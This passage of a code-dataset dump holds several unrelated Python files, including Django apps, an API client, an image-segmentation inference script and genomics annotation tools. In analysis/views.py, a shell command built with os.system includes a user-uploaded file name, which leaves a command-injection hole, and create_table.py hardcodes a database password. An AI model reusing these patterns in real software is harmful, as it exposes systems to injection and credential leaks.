summoner_name = TextInput()\r\n class Meta:\r\n model = SummonerName\r\n fields = ['name']\r\n \r\n", "repo_name": "AxelsCrappyProjects/leaguepersonnalitycheck", "sub_path": "championpoolvalidator/mainpage/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.forms.ModelForm", "line_number": 4, "usage_type": "name"}, {"api_name": "models.Region.objects.all", "line_number": 6, "usage_type": "call"}, {"api_name": "models.Region.objects", "line_number": 6, "usage_type": "attribute"}, {"api_name": "models.Region", "line_number": 6, "usage_type": "name"}, {"api_name": "django.forms.ChoiceField", "line_number": 8, "usage_type": "call"}, {"api_name": "models.Region", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 14, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 16, "usage_type": "call"}, {"api_name": "models.SummonerName", "line_number": 18, "usage_type": "name"}]} +{"seq_id": "71098023643", "text": "# -*- coding: utf-8 -*-\nimport json\nimport os\nimport socket\nimport sys\ntry:\n import httplib\nexcept ImportError:\n import http.client as httplib\ntry:\n from urllib import urlencode\nexcept ImportError:\n from urllib.parse import urlencode\ntry:\n from urllib2 import HTTPError, URLError\nexcept ImportError:\n from urllib.error import HTTPError, URLError\ntry:\n import urllib2\nexcept ImportError:\n import urllib.request as urllib2\ntry:\n import urlparse\nexcept ImportError:\n import urllib.parse as urlparse\n\n\ntry:\n API_KEY = os.environ['API_KEY']\nexcept KeyError:\n API_KEY = None\n sys.stderr.write('Please set os.environ[\"API_KEY\"] = yourapikey, '\n 'or pass api_key param in Food2ForkClient')\n\n\ndef error_handler(fn):\n def request_wrapper(self, *args, **kwargs):\n \"\"\"\n add repeat requests for timeout\n \"\"\"\n try:\n response = fn(self, *args, **kwargs)\n except HTTPError as e:\n raise Food2ForkHTTPError(e)\n except URLError as e:\n if isinstance(e.reason, socket.timeout):\n msg = '{0}'.format(e.reason)\n raise Food2ForkSocketError(msg)\n else:\n msg = 'URLError - {0}'.format(e.reason)\n raise Food2ForkClientException(msg)\n except httplib.HTTPException:\n raise Food2ForkHTTPException('HTTPException')\n except Exception:\n import traceback\n msg = 'Exception - {0}'.format(traceback.format_exc())\n raise Food2ForkClientException(msg)\n if response.code != 200:\n raise Food2ForkClientException('Problem with Food2Fork API')\n return response\n return request_wrapper\n\n\ndef user_error_handler(fn):\n def response_wrapper(self, response):\n python_response = fn(self, response)\n parsed_url = urlparse.urlparse(response.url)\n path = parsed_url.path\n error = python_response.get('error', '')\n if error:\n raise Food2ForkClientException('API call limit exceded')\n elif path == '/api/search/':\n results = python_response.get('recipes', '')\n if not results:\n raise Food2ForkClientException('Page # does not exist')\n elif path == '/api/get/':\n results = python_response.get('recipe', '')\n if not results:\n raise Food2ForkClientException('Recipe id does not exist')\n return results\n return response_wrapper\n\n\nclass Food2ForkClientException(Exception):\n pass\n\n\nclass Food2ForkHTTPException(Exception):\n pass\n\n\nclass Food2ForkHTTPError(Exception):\n\n def __init__(self, value):\n error = value\n if error.code == 403:\n self.code = 403\n self.value = '403 Check API key'\n elif error.code == 500:\n self.code = 500\n self.value = '500 Invalid search params?'\n else:\n self.value = '{0} {1}'.format(error.code, error.reason)\n\n def __str__(self):\n return repr(self.value)\n\n\nclass Food2ForkSocketError(Exception):\n\n def __init__(self, value):\n self.value = value\n\n def __str__(self):\n return repr(self.value)\n\n\nclass Food2ForkClient(object):\n URL_API = 'http://food2fork.com/api'\n URL_SEARCH = URL_API + '/search/?'\n URL_GET = URL_API + '/get/?'\n HEADERS = {\"Content-Type\": \"application/json\"}\n\n def __init__(self, api_key=API_KEY, timeout=None):\n self.api_key = api_key\n self.timeout = timeout\n msg = ('Must pass api_key, or set '\n 'os.environ[\"API_KEY\"] = yourapikey')\n assert(api_key is not None), msg\n\n def search(self, q=None, page=1, count=30):\n \"\"\"\n kwargs:\n q: search_query\n page: used to get additional results\n count: number of results per search\n \"\"\"\n assert(0 < count <= 30), 'max 30 results per call, min 1'\n query_params = [\n ('page', page),\n ('count', count)\n ]\n if q is not None:\n query_params.append(('q', q))\n query_params.append(('key', self.api_key))\n query_string = urlencode(query_params)\n url = self.URL_SEARCH + query_string\n response = self._request(url)\n return self._parse_json(response)\n\n def get(self, rid):\n \"\"\"\n rid: rId (recipe_id) of recipe returned by search query\n \"\"\"\n query_params = [('key', self.api_key), ('rId', rid)]\n query_string = urlencode(query_params)\n url = self.URL_GET + query_string\n response = self._request(url)\n return self._parse_json(response)\n\n @error_handler\n def _request(self, url):\n req = urllib2.Request(url)\n for key, value in self.HEADERS.items():\n req.add_header(key, value)\n response = urllib2.urlopen(req, timeout=self.timeout)\n return response\n\n @user_error_handler\n def _parse_json(self, response):\n #encoding = response.headers.get_content_charset()\n python_response = json.loads(response.read().decode('utf-8'))\n return python_response\n\n#### 403 FORRBIDEN - bad key\n#### 500 Internal Server Error page or count = None\n#### {u'error': u'limit'}\n", "repo_name": "davebshow/food2forkclient", "sub_path": "food2forkclient/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 5256, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.environ", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 32, "usage_type": "attribute"}, {"api_name": "urllib.error.HTTPError", "line_number": 43, "usage_type": "name"}, {"api_name": "urllib.error.URLError", "line_number": 45, "usage_type": "name"}, {"api_name": "socket.timeout", "line_number": 46, "usage_type": "attribute"}, {"api_name": "http.client.HTTPException", "line_number": 52, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 52, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 56, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 67, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 67, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 146, "usage_type": "call"}, {"api_name": "urllib.parse.urlencode", "line_number": 156, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 163, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 163, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 166, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 166, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 172, "usage_type": "call"}]} +{"seq_id": "70261613725", "text": "from django.urls import path\nfrom . import views\n\n\napp_name = 'login'\nurlpatterns = [\n # /login/ used for login\n path('', views.index, name='index'),\n # /login/register/ used for register\n path('register/', views.register, name='register'),\n # /login/register/ used for register\n path('register_process/', views.register_process, name='register_process'),\n path('user_login/', views.user_login, name='user_login'),\n # /login/homepage/ test homepage\n path('homepage/', views.homepage, name='homepage'),\n]", "repo_name": "Zifeng-ZZF/ride_sharing_web", "sub_path": "login/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "26038244597", "text": "import os\nimport time\nfrom multiprocessing import Process\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\n\nfrom datasets.inferDataSet import infer_DataSet\nfrom models.model import U2NET\nfrom segConfig import getConfig\n\n\ndef infer(model, test_loader, device, n_classes, save_seg):\n\n model.eval()\n\n with torch.no_grad():\n for idx, (imgs, imgs_name) in enumerate(test_loader):\n imgs = imgs.to(device)\n\n d0, d1, d2, d3, d4, d5, d6 = model(imgs)\n d0, d1, d2, d3, d4, d5, d6 = nn.Softmax(dim=1)(d0),\\\n nn.Softmax(dim=1)(d1), nn.Softmax(dim=1)(d2),\\\n nn.Softmax(dim=1)(d3), nn.Softmax(dim=1)(d4),\\\n nn.Softmax(dim=1)(d5), nn.Softmax(dim=1)(d6)\n # d0, d1, d2, d3, d4, d5, d6 = d0[:, 1:n_classes, :, :]*1.01,\\\n # d1[:, 1:n_classes, :, :]*1.01, d2[:, 1:n_classes, :, :]*1.01,\\\n # d3[:, 1:n_classes, :, :]*1.01, d4[:, 1:n_classes, :, :]*1.01,\\\n # d5[:, 1:n_classes, :, :]*1.01, d6[:, 1:n_classes, :, :]*1.01\n d0_tmp = F.one_hot(d0.clone().argmax(\n dim=1), n_classes).permute(0, 3, 1, 2)\n d1_tmp = F.one_hot(d1.clone().argmax(\n dim=1), n_classes).permute(0, 3, 1, 2)\n d2_tmp = F.one_hot(d2.clone().argmax(\n dim=1), n_classes).permute(0, 3, 1, 2)\n d3_tmp = F.one_hot(d3.clone().argmax(\n dim=1), n_classes).permute(0, 3, 1, 2)\n d4_tmp = F.one_hot(d4.clone().argmax(\n dim=1), n_classes).permute(0, 3, 1, 2)\n d5_tmp = F.one_hot(d5.clone().argmax(\n dim=1), n_classes).permute(0, 3, 1, 2)\n d6_tmp = F.one_hot(d6.clone().argmax(\n dim=1), n_classes).permute(0, 3, 1, 2)\n d = torch.Tensor([3.5, 2.5, 1, 1, 1, 1, 1])\n add_lesion = -4.1\n tmp = d0_tmp*d[0]+d1_tmp*d[1]+d2_tmp*d[2]+d3_tmp*d[3]\\\n + d4_tmp*d[4]+d5_tmp*d[5]+d6_tmp*d[6]\n tmp[:, 1:n_classes, :, :] = tmp[:, 1:n_classes, :, :]+add_lesion\n\n out_mask = tmp.argmax(dim=1).squeeze()\n np.save(save_seg+'/'+imgs_name[0],\n out_mask.clone().detach().cpu().numpy().astype(np.uint8).squeeze())\n torch.cuda.empty_cache()\n\n\ndef main(args):\n device, num_classes, pth, infer_data_dirs = \\\n args.device, args.num_classes, args.pth, args.infer_data_dirs\n\n if device == 'cuda':\n torch.cuda.set_device(0)\n if not torch.cuda.is_available():\n print('Cuda is not available, use CPU to train.')\n device = 'cpu'\n device = torch.device(device)\n print('===>device:', device)\n torch.cuda.manual_seed_all(0)\n\n # Load data\n\n print('===>Setup Model')\n model = U2NET(in_channels=1, out_channels=num_classes).to(device)\n print('===>Loaded Weight')\n\n checkpoint = torch.load(pth)\n model.load_state_dict(checkpoint['model_weights'])\n SegDataSet = infer_DataSet\n print('===>check infer_data_dirs')\n if isinstance(infer_data_dirs, str):\n infer_data_dirs = [infer_data_dirs]\n total_infer_begin = time.time()\n process_list = []\n\n for idx, infer_data_dir in enumerate(infer_data_dirs):\n imgs_dir = infer_data_dir+'/imgs/'\n masks_save_dir = infer_data_dir+'/masks/'\n if not os.path.exists(masks_save_dir):\n os.makedirs(masks_save_dir)\n\n print('===>Loading dataset')\n test_data_loader = DataLoader(\n dataset=SegDataSet(imgs_dir), batch_size=1,\n num_workers=8, shuffle=False, drop_last=False)\n print('='*30)\n print('===>Infering %d' % (idx+1))\n print('===>Start infer '+imgs_dir)\n print('===>Save to '+masks_save_dir)\n process_list.append(Process(target=infer, args=(model, test_data_loader, device,\n num_classes, masks_save_dir,)))\n '''\n 多进程参数一定要对应得上！！！\n if you run multiprocess infer, please pay more attention to the Element position\n make it corresponded\n\n '''\n for process in process_list:\n process.start()\n total_infer_end = time.time()\n print('Total Infer cost %.2fs' % (total_infer_end-total_infer_begin))\n\n\nif __name__ == '__main__':\n '''\n infer的多线程版本\n '''\n args = getConfig('infer')\n main(args)\n", "repo_name": "AnnLIU15/SegCovid", "sub_path": "infer_mulit_process.py", "file_name": "infer_mulit_process.py", "file_ext": "py", "file_size_in_byte": 4487, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.no_grad", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.Softmax", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.cuda.empty_cache", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.cuda.set_device", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 70, "usage_type": "attribute"}, {"api_name": "models.model.U2NET", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 78, "usage_type": "call"}, {"api_name": "datasets.inferDataSet.infer_DataSet", "line_number": 80, "usage_type": "name"}, {"api_name": "time.time", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 94, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 101, "usage_type": "call"}, {"api_name": "time.time", "line_number": 111, "usage_type": "call"}, {"api_name": "segConfig.getConfig", "line_number": 119, "usage_type": "call"}]} +{"seq_id": "21845080674", "text": "import sqlalchemy as db\nfrom sqlalchemy.orm import sessionmaker\nfrom models import Base\n\nDB_PATH = \"postgresql://postgres:root@localhost:5432\"\n\nengine = db.create_engine(DB_PATH, echo=False)\ntry:\n with db.create_engine(DB_PATH, isolation_level=\"AUTOCOMMIT\").connect() as connection:\n connection.execute(\"\"\"\n SET AUTOCOMMIT = ON;\n CREATE DATABASE cloud;\n CREATE TABLE PowerMeasurement(\n id INT PRIMARY KEY NOT NULL,\n timestamp STRING,\n source STRING,\n value STRING\n );\n \"\"\")\nexcept db.exc.OperationalError:\n print(\"Could not connect to database\")\n exit()\nexcept db.exc.ProgrammingError:\n pass", "repo_name": "TasosY2K/generic-webapp-template", "sub_path": "subscriber/create_table.py", "file_name": "create_table.py", "file_ext": "py", "file_size_in_byte": 689, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 7, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlalchemy.exc", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sqlalchemy.exc", "line_number": 23, "usage_type": "attribute"}]} +{"seq_id": "71192371164", "text": "from django.utils import timezone\nfrom .models import Post\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom .forms import PostForm\nimport os\n\ndef snpeff(file):\n\tjavastring = str(\"java -d64 -Xms512m -Xmx4g -jar snpEff/snpEff.jar GRCh37.75 analysis/uploads/\" + file + '_output.vcf' + ' > ' + 'analysis/uploads/' + file + '_annotated.vcf')\n\toutput = os.system(javastring)\n\treturn(output)\n\ndef maftovcf(file):\n\twith open(file) as rawfile, open(file+'_outputtemp.vcf', 'a') as vcffile:\t\n\t\tfor line in rawfile.readlines():\n\t\t\tif line.startswith('Hugo_Symbol'):\n\t\t\t\tcontinue\n\t\t\tline = line.rstrip()\n\t\t\tcolumns = line.split(\"\\t\")\n\t\t\tchromo = ['chr'+columns[4]]\n\t\t\tstart = [columns[5]]\n\t\t\tID = [columns[13]]\n\t\t\tQUAL = ['.']\n\t\t\tFilter = ['.']\n\t\t\tref = [columns[10]]\n\t\t\talt = [columns[12]]\n\t\t\tINFO = [columns[15]]\n\t\t\tvcf = chromo+start+ID+ref+alt+QUAL+Filter+INFO\n\t\t\tvcff = \"\\t\".join(vcf)\n\t\t\tif columns[8] == 'Missense_Mutation':\n\t\t\t\tvcffile.write(vcff+'\\n')\n\t\tvcffile.close()\n\t\tsnpeff(file+'outputtemp.vcf') #call snpEff function\n\treturn(vcffile)\n\n\ndef post_list(request):\n posts = Post.objects.filter(published_date__lte=timezone.now())\n return render(request, 'analysis/post_list.html', {'posts' : posts})\n\ndef post_detail(request, pk):\n post = get_object_or_404(Post, pk=pk)\n return render(request, 'analysis/post_detail.html', {'post': post})\n\ndef post_new(request):\n if request.method == \"POST\":\n form = PostForm(request.POST,request.FILES)\n if form.is_valid():\n post = form.save(commit=False)\n #post = Post(file=request.FILES['file'])\n post.author = request.user\n post.published_date = timezone.now()\n parse = maftovcf(post.file.url)\n post.vcfoutput = (str(post.file)+'_outputtemp.vcf')\n post.snpeffvcfoutput = (str(post.vcfoutput)+'_annotated.vcf')\n post.snpeffhtmloutput = (str(post.vcfoutput)+'_annotated.html')\n post.snpeffhtmlmissenseoutput = (str(post.vcfoutput)+'_missense.html')\n post.save()\n \n\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm()\n \n return render(request, 'analysis/post_edit.html', {'form': form})\n\n", "repo_name": "colbyford/projectaccrobat", "sub_path": "analysis/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2237, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.system", "line_number": 9, "usage_type": "call"}, {"api_name": "models.Post.objects.filter", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 37, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 37, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 37, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 38, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 41, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 41, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 42, "usage_type": "call"}, {"api_name": "forms.PostForm", "line_number": 46, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 51, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 51, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 60, "usage_type": "call"}, {"api_name": "forms.PostForm", "line_number": 62, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "10015200419", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 27 12:04:36 2021\n\n@author: will-schneble\n\"\"\"\n\nimport json\nimport boto3\nimport hashlib\nimport argparse\nimport os\nimport re\n\ndef parse_git_diff(git_diff):\n m = re.findall(r'(\\d+) files? changed(?:, (\\d+) insertions?\\(\\+\\))?(?:, (\\d+) deletions?\\(-\\))?', git_diff)\n if not m:\n return 0, 0\n else:\n m = m[0]\n files_scanned = int(m[0]) if m[0] else 0\n lines_scanned = int(m[1] if m[1] else 0) + int(m[2] if m[2] else 0)\n return files_scanned, lines_scanned\n\ndef main(region, filename, elapsed_time, git_diff, owner):\n session = boto3.Session(\n region_name=region,\n aws_access_key_id=os.environ['AWS_ACCESS_KEY_ID'],\n aws_secret_access_key=os.environ['AWS_SECRET_ACCESS_KEY']\n )\n table = session.resource('dynamodb').Table('git-secrets')\n files_scanned, lines_scanned = parse_git_diff(git_diff)\n with open(filename, 'r') as f:\n for line in f:\n data = json.loads(line)\n data['uuid'] = hashlib.sha256(bytes(\n line,\n 'utf-8'\n )).hexdigest()\n data['elapsed_time'] = elapsed_time\n data['lines_scanned'] = lines_scanned\n data['files_scanned'] = files_scanned\n data['owner'] = owner\n try:\n table.put_item(\n Item=data,\n ConditionExpression='attribute_not_exists(#uuid)',\n ExpressionAttributeNames={\n '#uuid': 'uuid'\n }\n )\n except table.meta.client.exceptions.ConditionalCheckFailedException:\n pass\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Git-secrets results upload for metrics tracking.')\n parser.add_argument('--region', '-r', type=str, help='Region the AWS resources are in.', default='us-east-1')\n parser.add_argument('--file', '-f', type=str, help='Filename with the trufflehog results in JSON format', required=True)\n parser.add_argument('--elapsed-time', type=int, help='Total elasped scanning time in seconds', required=True)\n parser.add_argument('--git-diff', type=str, help='git diff --stat summary', required=True)\n parser.add_argument('--owner', type=str, help='owner/repository', required=True)\n args = parser.parse_args()\n main(args.region, args.file, args.elapsed_time, args.git_diff, args.owner)\n", "repo_name": "nbcuni-corp/git-secrets-rules", "sub_path": "git_secrets.py", "file_name": "git_secrets.py", "file_ext": "py", "file_size_in_byte": 2442, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "re.findall", "line_number": 16, "usage_type": "call"}, {"api_name": "boto3.Session", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 29, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 35, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 36, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "7539838271", "text": "#!/usr/bin/env python3\n\n__author__ = 'Frederic Escudie'\n__copyright__ = 'Copyright (C) 2019 IUCT-O'\n__license__ = 'GNU General Public License'\n__version__ = '1.1.0'\n__email__ = 'escudie.frederic@iuct-oncopole.fr'\n__status__ = 'prod'\n\nimport argparse\nfrom anacore.annotVcf import AnnotVCFIO\nfrom anacore.vcf import getAlleleRecord, VCFIO\nimport logging\nimport os\nimport sys\n\n\n########################################################################\n#\n# FUNCTIONS\n#\n########################################################################\ndef changeCosmicAnnotations(record, annot_field, cosmic_reader):\n \"\"\"\n Replace non-allele specific COSMIC annotations produced by VEP to allelle-specific annotations.\n\n .. warning::\n Alleles not annotated by VEP will remain unannotated despite data in databank.\n\n :param record: Annotated VCF record from VEP.\n :type record: anacore.vcf.VCFRecord\n :param annot_field: Field used to store annotations.\n :type annot_field: str\n :param cosmic_reader: File handler open on COSMIC databank with mode 'i'.\n :type cosmic_reader: anacore.vcf.VCFIO\n \"\"\"\n annot_chr = record.chrom.upper()\n annot_name_prefix = \"{}:{}={}/\".format(\n annot_chr[3:] if annot_chr.startswith(\"CHR\") else annot_chr,\n record.pos,\n record.ref.upper()\n )\n # Get overlapping COSMIC variants\n db_overlapping = [elt for elt in cosmic_reader.getSub(\n record.chrom[3:] if record.chrom.startswith(\"chr\") else record.chrom,\n int(record.refStart()),\n int(record.refEnd() + 0.5)\n )]\n # Replace COSMIC annotations\n for annot in record.info[annot_field]:\n annot_name = annot_name_prefix + annot[\"Allele\"].upper()\n new_existing = []\n # Remove old COSMIC annotations\n if annot[\"Existing_variation\"] is not None:\n for curr_exist in annot[\"Existing_variation\"].split(\"&\"):\n if not curr_exist.startswith(\"COS\"):\n new_existing.append(curr_exist)\n # Add new COSMIC annotations\n db_ids = set()\n for db_record in db_overlapping:\n if len(db_record.alt) == 1:\n if annot_name == db_record.getName().upper():\n db_ids = db_ids | set(db_record.id.split(\";\"))\n else:\n for alt_idx, db_alt in enumerate(db_record.alt):\n db_alt_record = getAlleleRecord(cosmic_reader, db_record, alt_idx)\n if annot_name == db_alt_record.getName().upper():\n db_ids = db_ids | set(db_record.id.split(\";\"))\n new_existing += sorted(db_ids)\n # Change existing variants\n if len(new_existing) != 0:\n annot[\"Existing_variation\"] = \"&\".join(new_existing)\n else:\n annot[\"Existing_variation\"] = None\n\n\ndef getDatabankVersion(cosmic_reader):\n \"\"\"\n Return COSMIC databank version from a file handler.\n\n :param cosmic_reader: File handler open on COSMIC databank.\n :type cosmic_reader: anacore.vcf.VCFIO\n :return: COSMIC databank version.\n :rtype: str\n \"\"\"\n cosmic_version = None\n for curr_head in cosmic_reader.extra_header:\n if curr_head.startswith(\"##source=\"):\n cosmic_version = curr_head.lower().split(\"cosmicv\")[1]\n return cosmic_version\n\n\ndef getVEPAlt(ref, alt):\n \"\"\"\n Return the alternative allele in same format as annotation allele in VEP.\n\n :param ref: The reference allele.\n :type ref: str\n :param alt: The alternative allele.\n :type alt: str\n :return: The alternative allele in same format as annotation allele in VEP.\n :rtype: str\n \"\"\"\n alleles = [ref] + alt\n # Replace empty marker by empty string\n for idx, cur_allele in enumerate(alleles):\n if cur_allele == \"-\":\n alleles[idx] = \"\"\n # Select shorter allele\n shorter_allele = alleles[0]\n for current_alt in alleles[1:]:\n if len(current_alt) < len(shorter_allele):\n shorter_allele = current_alt\n # Trim alleles\n trim = True\n while len(shorter_allele) != 0 and shorter_allele != \"\" and trim:\n for cur_allele in alleles:\n if len(cur_allele) == 0:\n trim = False\n elif cur_allele[0] != shorter_allele[0]:\n trim = False\n if trim:\n shorter_allele = shorter_allele[1:]\n for idx, cur_allele in enumerate(alleles):\n alleles[idx] = cur_allele[1:]\n # Replace empty by empty_marker\n for idx, cur_allele in enumerate(alleles):\n if cur_allele == \"\":\n alleles[idx] = \"-\"\n return alleles[1:]\n\n\n########################################################################\n#\n# MAIN\n#\n########################################################################\nif __name__ == \"__main__\":\n # Manage parameters\n parser = argparse.ArgumentParser(description='Reverse normalisation produced by VEP in allele annotation field.')\n parser.add_argument('-a', '--annotations-field', default=\"ANN\", help='Field used to store annotations. [Default: %(default)s]')\n parser.add_argument('-v', '--version', action='version', version=__version__)\n group_input = parser.add_argument_group('Inputs') # Inputs\n group_input.add_argument('-c', '--input-cosmic', help='The path to the variants known in COSMIC (format: VCF with tbi). This option replace non-allele specific cosmic annotation produce by VEP to allelle-specific annotation. Ensembl is unfortunately not licensed to redistribute allele-specific data for cosmic.')\n group_input.add_argument('-i', '--input-variants', required=True, help='The path to the variants file (format: VCF).')\n group_output = parser.add_argument_group('Outputs') # Outputs\n group_output.add_argument('-o', '--output-variants', required=True, help='The path to the output file (format: VCF).')\n args = parser.parse_args()\n\n # Logger\n logging.basicConfig(format='%(asctime)s -- [%(filename)s][pid:%(process)d][%(levelname)s] -- %(message)s')\n log = logging.getLogger(os.path.basename(__file__))\n log.setLevel(logging.INFO)\n log.info(\"Command: \" + \" \".join(sys.argv))\n\n # Process\n cosmic_reader = None\n with AnnotVCFIO(args.output_variants, \"w\", annot_field=args.annotations_field) as FH_out:\n with AnnotVCFIO(args.input_variants, annot_field=args.annotations_field) as FH_in:\n # Header\n FH_out.copyHeader(FH_in)\n if args.input_cosmic:\n cosmic_reader = VCFIO(args.input_cosmic, \"i\")\n cosmic_version = getDatabankVersion(cosmic_reader)\n FH_out.extra_header.append(\"##COSMIC={}\".format(cosmic_version))\n FH_out.writeHeader()\n # Records\n for record in FH_in:\n # To upper\n record.ref = record.ref.upper()\n record.alt = [alt.upper() for alt in record.alt]\n for annot in record.info[FH_in.annot_field]:\n annot[\"Allele\"] = annot[\"Allele\"].upper()\n # Change alternative representation\n for alt_idx, alt in enumerate(record.alt):\n alt_record = getAlleleRecord(FH_in, record, alt_idx)\n vep_alt = getVEPAlt(alt_record.ref, alt_record.alt)[0]\n for idx_ann, annot in enumerate(alt_record.info[FH_in.annot_field]):\n if annot[\"Allele\"] == vep_alt:\n annot[\"Allele\"] = alt_record.alt[0]\n # Replace cosmic annotations\n if args.input_cosmic:\n changeCosmicAnnotations(record, FH_in.annot_field, cosmic_reader)\n FH_out.write(record)\n log.info(\"End of job\")\n", "repo_name": "bialimed/AnaCore-utils", "sub_path": "bin/fixVEPAnnot.py", "file_name": "fixVEPAnnot.py", "file_ext": "py", "file_size_in_byte": 7729, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "anacore.vcf.getAlleleRecord", "line_number": 66, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 140, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 151, "usage_type": "call"}, {"api_name": 